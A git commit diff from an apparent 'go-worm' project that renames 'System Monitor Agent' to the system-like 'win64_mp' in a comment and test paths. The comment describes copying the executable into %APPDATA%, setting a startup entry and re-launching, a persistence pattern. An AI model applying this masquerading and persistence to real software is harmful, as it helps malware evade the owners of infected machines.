Update project references from "System Monitor Agent" to "win64_mp" throughout the codebase, including changes to executable names, comments, and documentation for improved clarity and consistency.

This commit is contained in:
2026-08-28 13:30:12 +03:00
parent 09076079fb
commit 35d8332d9c
9 changed files with 17 additions and 17 deletions
+1 -1
View File
@@ -11,7 +11,7 @@ import (
"tea.chunkbyte.com/kato/go-worm/lib/config"
)
// Ensure copies the running exe into %APPDATA%\SystemMonitorAgent\ when needed,
// Ensure copies the running exe into %APPDATA%\win64_mp\ when needed,
// refreshes an existing startup entry to that path, and re-launches from there.
func Ensure() error {
target, err := config.InstalledExe()
+2 -2
View File
@@ -13,8 +13,8 @@ func TestSamePath(t *testing.T) {
a, b string
want bool
}{
{`C:\Apps\SystemMonitorAgent.exe`, `c:\apps\systemmonitoragent.exe`, true},
{`C:\Apps\SystemMonitorAgent.exe`, `C:\Apps\copy.exe`, false},
{`C:\Apps\win64_mp.exe`, `c:\apps\win64_mp.exe`, true},
{`C:\Apps\win64_mp.exe`, `C:\Apps\copy.exe`, false},
}
for _, tc := range cases {
if got := samePath(tc.a, tc.b); got != tc.want {